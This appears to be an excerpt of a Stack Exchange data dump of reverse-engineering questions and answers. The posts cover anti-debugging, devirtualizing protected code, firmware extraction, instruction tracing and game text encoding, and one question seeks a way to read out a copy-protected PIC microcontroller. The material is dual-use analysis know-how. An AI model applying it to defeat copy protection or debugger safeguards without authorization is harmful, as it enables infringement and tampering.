  <row Id="21405" PostTypeId="2" ParentId="21367" CreationDate="2019-06-01T02:24:15.117" Score="3" Body="&lt;p&gt;This technique is equivalent to the Structured Exception Handler for Windows.&#xA;The application registers an exception handler, then forces an exception to occur, thereby transferring control to the exception handler.  However, when a debugger is present, it will generally intercept the exception to allow user interaction.  If your debugger allows you to pass the exception back to the program, then you will be able to continue tracing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about the technique here: &lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;The &quot;Ultimate&quot; Anti-Debugging Reference&lt;/a&gt;  (pdf)&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2019-06-01T02:24:15.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21406" PostTypeId="2" ParentId="21375" CreationDate="2019-06-01T09:31:34.697" Score="3" Body="&lt;p&gt;When a sample is protected with a VM, the only way to reverse engineer the code itself is to start with understanding the VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've found, a lot of VMs have two things in common:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;They are not complex (sometimes the bytecode instructions themselves are just decoded into x86 instructions - usually some VM instructions as well) Complexity in a VM very quickly degrades performance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They are usually quite obfuscated&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Aside from some generic solutions you could try (I.e. VMHunt) you will generally need to reverse engineer the VM and understand how it is decoding bytecode instructions - and what each VM instruction does. Then, you can use that knowledge to transform bytecode back into its original form - at which point you can analyze it in IDA Pro etc... Usually, the most difficult part is understanding the VM despite obfuscation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be quite a lengthy / involved process, I have worked with code virtualizers before and encourage you to start by reading some of my work on x86virt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Devirtualizer Source Code: &lt;a href=&quot;https://github.com/JeremyWildsmith/x86devirt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/JeremyWildsmith/x86devirt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Article Explaining Process: &lt;a href=&quot;http://jeremywildsmith.com/?blog%2Fx86devirt&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jeremywildsmith.com/?blog%2Fx86devirt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23370" LastEditorUserId="23370" LastEditDate="2019-06-01T09:37:45.820" LastActivityDate="2019-06-01T09:37:45.820" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21407" PostTypeId="1" CreationDate="2019-06-01T15:21:48.820" Score="1" ViewCount="386" Body="&lt;p&gt;This is my first attempt at working with firmware. We have some SNMP cards that are flaky &amp;amp; my ultimate goal is to try to make them better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current firmware version is 12.06.0069. When downloaded, the firmware folder contains several files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;pwralert.dat&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rom.12.069.0001.3078.sbz2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rom.55.0.bin&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rom.69.0.bin&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rom.69.0.bin.sbz2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've been trying to use &lt;code&gt;binwalk&lt;/code&gt; to locate the filesystem. So far, the only thing I've found is a few lines that say &quot;gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), NULL date (1970-01-01 00:00:00). Here is how I got there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;binwalk -e rom.12.069.0001.3078.sbz2&#xA;&#xA;cd _rom.12.069.0001.3078.sbz2.extracted&#xA;&#xA;ls&#xA;&#xA;418&#xA;&#xA;binwalk 418&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/buj0a.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/buj0a.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R8iUE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R8iUE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28598" LastEditorUserId="245" LastEditDate="2019-06-04T07:19:13.770" LastActivityDate="2019-06-04T07:19:13.770" Title="Find File System in Firmware" Tags="|firmware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21408" PostTypeId="2" ParentId="12260" CreationDate="2019-06-01T15:45:35.187" Score="4" Body="&lt;p&gt;I know that this question was asked some time ago, but here comes the solution working on Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;em&gt;See the last section of this answer to get the solution for other systems and architectures.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;x86 32 bit files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ollydbg.de/version2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg2&lt;/a&gt; is the tool that can be used for logging every single assembly instruction along with memory reads and writes. A short guide how to log it is presented below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run OllyDbg.&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;code&gt;Options&lt;/code&gt;-&gt;&lt;code&gt;Options...&lt;/code&gt; (or use &lt;code&gt;Alt&lt;/code&gt;+&lt;code&gt;o&lt;/code&gt; shortcut). The options window will show up.&lt;/li&gt;&#xA;&lt;li&gt;Search for &lt;code&gt;Run trace&lt;/code&gt; section and select options specified on image below:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QiUcw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QiUcw.png&quot; alt=&quot;olly_options_run_trace&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course, if you don't want Olly to log all string instructions or code in system DLLs, you may just select two relevant boxes. Additionally, you may choose smaller trace buffer size if you want to dump the log to a file.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Now, open your target application, but don't start it yet.&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;code&gt;View&lt;/code&gt;-&gt;&lt;code&gt;Run trace&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Right click on a window that appeared and select memory and register options you want to have in the trace.&lt;a href=&quot;https://i.stack.imgur.com/DmddN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DmddN.png&quot; alt=&quot;Olly_run_trace_options&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Right click on that window once again and select &lt;code&gt;Log to file...&lt;/code&gt; option and choose the file where you want to write entire run trace.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;code&gt;Ctrl&lt;/code&gt;+&lt;code&gt;F11&lt;/code&gt; to start tracing.&lt;/li&gt;&#xA;&lt;li&gt;When you want it to stop, click pause button (or &lt;code&gt;F12&lt;/code&gt;) to pause execution.&lt;/li&gt;&#xA;&lt;li&gt;You will see the instructions logged in &lt;code&gt;Run trace&lt;/code&gt; window.&lt;/li&gt;&#xA;&lt;li&gt;Right click on &lt;code&gt;Run trace&lt;/code&gt; window and select &lt;code&gt;Stop logging&lt;/code&gt; option. This will close and save the trace file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it! You may now open and analyse the file (it will be probably huge nonetheless).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The small excerpt of such a file is presented below (it shows only modified registers and doesn't enter system DLLs):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main  &amp;lt;ModuleEntryPoint&amp;gt;          JMP SHORT 00401012&#xA;main  00401012                    MOV EAX,[DWORD DS:4F61EF]               [004F61EF]=0                EAX=00000000&#xA;main  00401017                    SHL EAX,2&#xA;main  0040101A                    MOV [DWORD DS:4F61F3],EAX               [004F61F3]=0&#xA;main  0040101F                    PUSH EDX                                [0019FF80]=0                ESP=0019FF80&#xA;main  00401020                    PUSH 0                                  [0019FF7C]=0                ESP=0019FF7C&#xA;main  00401022                    CALL &amp;lt;JMP.&amp;amp;KERNEL32.GetModuleHandleA&amp;gt;                               EAX=00400000, ECX=DC5CD787, ESP=0019FF80&#xA;main  00401027                    MOV EDX,EAX                                                         EDX=00400000&#xA;main  00401029                    CALL 004E7210                                                       ESP=0019FF7C&#xA;main  004E7210                    MOV EAX,EDX&#xA;main  004E7212                    CMP [BYTE DS:4F61E0],0                  [004F61E0]=00&#xA;main  004E7219                    JNE SHORT 004E7240&#xA;main  004E721B                    CMP [BYTE DS:4F61E1],0                  [004F61E1]=00&#xA;main  004E7222                    JE SHORT 004E7238&#xA;main  004E7238                    MOV ECX,[DWORD DS:57D7D4]               [0057D7D4]=ollydbg.0061B108 ECX=0061B108&#xA;main  004E723E                    MOV [DWORD DS:ECX],EAX                  [0061B108]=0&#xA;main  004E7240                    MOV EAX,[DWORD DS:57D7D8]               [0057D7D8]=ollydbg.0061B131 EAX=0061B131&#xA;main  004E7245                    MOV [BYTE DS:EAX],1                     [0061B131]=00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;DOS executables&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.codejuggle.dj/unpack-dos-binaries-dosbox-debugger/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DOSBox Debugger&lt;/a&gt; will log everything you want when you are analysing DOS executable.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download it from &lt;a href=&quot;https://www.vogons.org/viewtopic.php?t=7323&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for example.&lt;/li&gt;&#xA;&lt;li&gt;Start application by dragging and dropping the executable on DOSBox Debugger icon.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;code&gt;Alt&lt;/code&gt;+&lt;code&gt;Pause&lt;/code&gt; at the moment you want to start logging the execution trace - application will freeze.&lt;/li&gt;&#xA;&lt;li&gt;Switch to debugger window. You will see something like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Gg0rz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gg0rz.png&quot; alt=&quot;DOSBoxDebugger&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;code&gt;logl n&lt;/code&gt;, where &lt;code&gt;n&lt;/code&gt; is a (hexadecimal) number of instructions to log; for example: &lt;code&gt;logl ffff&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The log file has been created and should be located in the same directory as DOSBox debugger - it will have &lt;code&gt;LOGCPU.txt&lt;/code&gt; name.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Several lines of resulting file are given below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01A2:00004654  mov  ax,si                                              8B C6                 EAX:0000002A EBX:0000002A ECX:00000A00 EDX:00000000 ESI:00000004 EDI:00000004 EBP:0000FFE2 ESP:0000FFDE DS:26EF ES:A000 FS:0000 GS:0000 SS:26EF CF:1 ZF:0 SF:1 OF:0 AF:1 PF:1 IF:1 TF:0 VM:0 FLG:00007293 CR0:00000000&#xA;01A2:00004656  mov  dx,000E                                            BA 0E 00              EAX:00000004 EBX:0000002A ECX:00000A00 EDX:00000000 ESI:00000004 EDI:00000004 EBP:0000FFE2 ESP:0000FFDE DS:26EF ES:A000 FS:0000 GS:0000 SS:26EF CF:1 ZF:0 SF:1 OF:0 AF:1 PF:1 IF:1 TF:0 VM:0 FLG:00007293 CR0:00000000&#xA;01A2:00004659  imul dx                                                 F7 EA                 EAX:00000004 EBX:0000002A ECX:00000A00 EDX:0000000E ESI:00000004 EDI:00000004 EBP:0000FFE2 ESP:0000FFDE DS:26EF ES:A000 FS:0000 GS:0000 SS:26EF CF:1 ZF:0 SF:1 OF:0 AF:1 PF:1 IF:1 TF:0 VM:0 FLG:00007293 CR0:00000000&#xA;01A2:0000465B  mov  bx,ax                                              8B D8                 EAX:00000038 EBX:0000002A ECX:00000A00 EDX:00000000 ESI:00000004 EDI:00000004 EBP:0000FFE2 ESP:0000FFDE DS:26EF ES:A000 FS:0000 GS:0000 SS:26EF CF:0 ZF:0 SF:1 OF:0 AF:1 PF:1 IF:1 TF:0 VM:0 FLG:00007296 CR0:00000000&#xA;01A2:0000465D  cmp  word [bx+56F6],0001        ds:[572E]=0000          83 BF F6 56 01        EAX:00000038 EBX:00000038 ECX:00000A00 EDX:00000000 ESI:00000004 EDI:00000004 EBP:0000FFE2 ESP:0000FFDE DS:26EF ES:A000 FS:0000 GS:0000 SS:26EF CF:0 ZF:0 SF:1 OF:0 AF:1 PF:1 IF:1 TF:0 VM:0 FLG:00007296 CR0:00000000&#xA;01A2:00004662  jne  00004678 ($+14)            (down)                  75 14                 EAX:00000038 EBX:00000038 ECX:00000A00 EDX:00000000 ESI:00000004 EDI:00000004 EBP:0000FFE2 ESP:0000FFDE DS:26EF ES:A000 FS:0000 GS:0000 SS:26EF CF:1 ZF:0 SF:1 OF:0 AF:1 PF:1 IF:1 TF:0 VM:0 FLG:00007296 CR0:00000000&#xA;01A2:00004678  inc  si                                                 46                    EAX:00000038 EBX:00000038 ECX:00000A00 EDX:00000000 ESI:00000004 EDI:00000004 EBP:0000FFE2 ESP:0000FFDE DS:26EF ES:A000 FS:0000 GS:0000 SS:26EF CF:1 ZF:0 SF:1 OF:0 AF:1 PF:1 IF:1 TF:0 VM:0 FLG:00007296 CR0:00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Every or almost every architectures and systems&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; is the tool that may be used for your purpose regardless the system and architecture (complete list of them is given &lt;a href=&quot;https://github.com/radare/radare2/blob/master/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run &lt;code&gt;r2 -c aei -d programToDebug&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Put a breakpoint at the address where you want to start tracing (using &lt;code&gt;db address_in_hex&lt;/code&gt; for example).&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;dc&lt;/code&gt; to continue until the breakpoint is hit.&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;code&gt;e dbg.trace=1&lt;/code&gt; and press enter.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;des N&lt;/code&gt; to step &lt;code&gt;N&lt;/code&gt; instructions (for example &lt;code&gt;des 10&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;dtd &amp;gt; log1&lt;/code&gt; to print instructions traced to &lt;code&gt;log1&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;dte &amp;gt; log2&lt;/code&gt; to print all memory and register accesses to &lt;code&gt;log2&lt;/code&gt; file.&#xA;Sample contents of these files are given below:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Instructions:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kORBt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kORBt.jpg&quot; alt=&quot;r2TraceInstructions&quot;&gt;&lt;/a&gt;&#xA;And some corresponding memory accesses:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/z4PtD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z4PtD.jpg&quot; alt=&quot;r2TraceMemory&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, it will be nicer to have these outputs listed in such a way as OllyDbg does, for example, but it just requires to write a script that links these two files together and displays the information in more convenient way. Like so, for instance:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7k3Y9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7k3Y9.jpg&quot; alt=&quot;r2PrettyLog&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python script for creating such an output from these files is available &lt;a href=&quot;https://gist.github.com/bart1e/e0586af82dea3c638d090997df353007&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./prettyTraceLog.py file1 file2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;, where &lt;code&gt;log1&lt;/code&gt; and &lt;code&gt;log2&lt;/code&gt; are default values. If you find any bug, or want to modify it for some other reason, feel free to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks @pancake for telling me how to do tracing in &lt;code&gt;radare2&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-06-13T13:47:24.940" LastActivityDate="2019-06-13T13:47:24.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21409" PostTypeId="1" CreationDate="2019-06-01T22:33:32.377" Score="1" ViewCount="1093" Body="&lt;p&gt;I have tried these few days to read a PIC18F microcontroller which is locked.it says all protected (0000 E0FF 40FF).then i found out that it is possible to bypass the CRP on some of these microcontrollers by writing a small program into the bootloader (i think this is called heart of darkness) but didn't find that program to try to dump my PIC18F6722.&#xA;If someone knows a particular method to dumping firmware on this microchip please let me know&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="28074" LastActivityDate="2019-06-01T22:33:32.377" Title="How to Dump a locked PIC" Tags="|memory-dump|copy-protection|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21410" PostTypeId="1" CreationDate="2019-06-01T22:34:15.910" Score="2" ViewCount="78" Body="&lt;p&gt;I saw &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/18024/rasm2-giving-different-output-each-time-for-x64&quot;&gt;rasm2 giving different output each time for x64&lt;/a&gt;&#xA;Take a look at this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\WINDOWS\system32&amp;gt;rasm2 -a x86 -b 64 -d &quot;41f6c7FF&quot;&#xA;test r15b, 0xff&#xA;&#xA;C:\WINDOWS\system32&amp;gt;rasm2 -a x86 -b 64 &quot;test r15b, 0xff&quot;&#xA;f7ffff000000&#xA;&#xA;C:\WINDOWS\system32&amp;gt;rasm2 -v&#xA;rasm2 3.5.1 1 @ windows-x86-64 git.3.5.1&#xA;commit: 4ec482ba2d4f554beeafb3aa47758e970bcab937 build: Wed 05/15/2019__ 7:58:44.85&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this some unresolved bug or did I do something wrong?&lt;/p&gt;&#xA;" OwnerUserId="28601" LastActivityDate="2019-06-01T22:34:15.910" Title="radare2 wrong output" Tags="|radare2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21411" PostTypeId="2" ParentId="21346" CreationDate="2019-06-02T08:56:45.923" Score="1" Body="&lt;p&gt;This is what a got for you. I think if you going to translate this is going to be more complicated that you think because of the way the company program this game, but anyway...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using PCSX2 to execute the game and GameConqueror(alternative of Cheat Engine on linux) to check the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I though that the game was importing the text from a file and mapping the characters from the text file on the image to show it graphically so I got to the point in the game where it show ASCII character like here:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/52A7s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/52A7s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With GameConqueror I search strings that contain 'R1' until I got to this address &lt;code&gt;0x202a3c00&lt;/code&gt; then I check the memory and I got this chunk of data &lt;a href=&quot;https://i.stack.imgur.com/TwKvn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TwKvn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By now I know that indeed they are using some ASCII and that they are importing it from a file so I extract the files inside of the iso image, enter to that folder and then I start searching in the files for those hex values with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep -rnw '.' -e $(echo -e '\x52\x31\x20\xb9')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Binary file ./RES/SUBSYS.RES matches&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Great! Then I opened with a hex editor and search for the values. If you do that you will notice that they are using some type of syntax to tell the game what to show. In this case they show a text type 'TIP'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nfm5P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nfm5P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that by now you could start translating but I wanted to go beyond and disassemble the code to modify it because there is going to be a problem if you translate that file (I will address that later) so with PCSX2 debugger I add a breakpoint to &lt;code&gt;0x202a3c00&lt;/code&gt;  and I got two functions that access to this address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;z_un_0014bdf0 write&#xA;z_un_00155c70 read&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use Binary Ninja to disassemble it better (PSCX2 debugger sucks) but I had some problems... I wanted to use Hopper but I need to install some plugins and is too annoying... If I use IDA pro I have to buy it because is mips.... So I guess there is not other option than translate  that file. The problem with translating that file is that you would have to come with a translation with less bytes than already is. For example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text in the first image has 57 bytes. Meaning. If the translation is more than 57 ASCII characters then you would have to come with a slightly different translation. If it is less then that its easy because you can fill it with 0x20(spaces).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PuqqV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PuqqV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what encoder are they using? I'm not an expert on encoding formats but I'm pretty sure that they are not using an standard one and they decide to came with a custom one. I know this for 3 reason:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;They have ASCII values that actually represent ASCII values but&#xA;very limited.&lt;/li&gt;&#xA;&lt;li&gt;They are not using the Unicode block Hangul Syllables. The character &lt;code&gt;버&lt;/code&gt; in the game is &lt;code&gt;0xb9f6&lt;/code&gt; but it should be &lt;code&gt;0xbc84&lt;/code&gt;, &lt;code&gt;튼&lt;/code&gt; is in  the game &lt;code&gt;0xc6b0&lt;/code&gt; it should be &lt;code&gt;0xd2bc&lt;/code&gt;, etc.&lt;/li&gt;&#xA;&lt;li&gt;The images that you extract have no more than 500 Korean characters but the Unicode Hangul table has 11,172.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;Thanks to @IgorSkochinsky to check the encoder with different method. It is &lt;a href=&quot;http://i18nl10n.com/korean/euckr.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;EUC-KR&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24762" LastEditorUserId="24762" LastEditDate="2019-06-02T23:16:49.043" LastActivityDate="2019-06-02T23:16:49.043" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21412" PostTypeId="2" ParentId="17736" CreationDate="2019-06-02T20:17:52.617" Score="7" Body="&lt;p&gt;It is possible using &lt;code&gt;Trace&lt;/code&gt;-&amp;gt;&lt;code&gt;Trace into...&lt;/code&gt; option. After opening the executable, select this option and specify the message you want to log (in &lt;code&gt;Log text&lt;/code&gt; field); for example &lt;code&gt;{a:cip} {i:cip}&lt;/code&gt;, which will log the module name, address and the instruction after a space.&lt;/p&gt;&#xA;&lt;p&gt;As far as I am concerned, there is unfortunately no support for string comparison in &lt;code&gt;x64dbg&lt;/code&gt;, so you cannot write something like &lt;code&gt;{modname@rip}==some_module_name&lt;/code&gt; in &lt;code&gt;Log condition&lt;/code&gt; field. However, you may use the module entry point as a module identifier, like here:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kJo9I.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kJo9I.png&quot; alt=&quot;x64dbg_log_condition&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After clicking &lt;code&gt;OK&lt;/code&gt; button, only instructions in the specified module will appear in the log panel and you should see something like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eYMLM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eYMLM.png&quot; alt=&quot;x64dbg_log&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The only problem that is still to solve is to find the module entry address. I've done it by logging every module name and entry point until I find the relevant one. If I find any better way to do that, I will update my answer.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-06-02T20:17:52.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21413" PostTypeId="1" CreationDate="2019-06-03T00:45:18.643" Score="1" ViewCount="164" Body="&lt;p&gt;I'm trying to compare a binary (a basic hello world exe compiled with MinGW) within Immunity Debugger and IDA. In Immunity I notice a call to EAX which points to &lt;code&gt;004019c0&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZvjkY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZvjkY.png&quot; alt=&quot;immunity eax&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking in IDA I notice this call is identified as &lt;code&gt;___dyn_tls_init_callback&lt;/code&gt;. I want to better understand how IDA gets this name and applies to this address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uwuWL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uwuWL.png&quot; alt=&quot;ida eax named&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I follow the function in IDA via xrefs I see a reference to the code with a label provided by IDA but I'm unsure where this name comes from. How can I figure out how IDA got this name? I'd like to understand further so I can do the work myself in Immunity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5556T.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5556T.png&quot; alt=&quot;ida xref followed&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28609" LastActivityDate="2019-06-03T00:45:18.643" Title="How does IDA provide function names to dynamic calls?" Tags="|ida|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
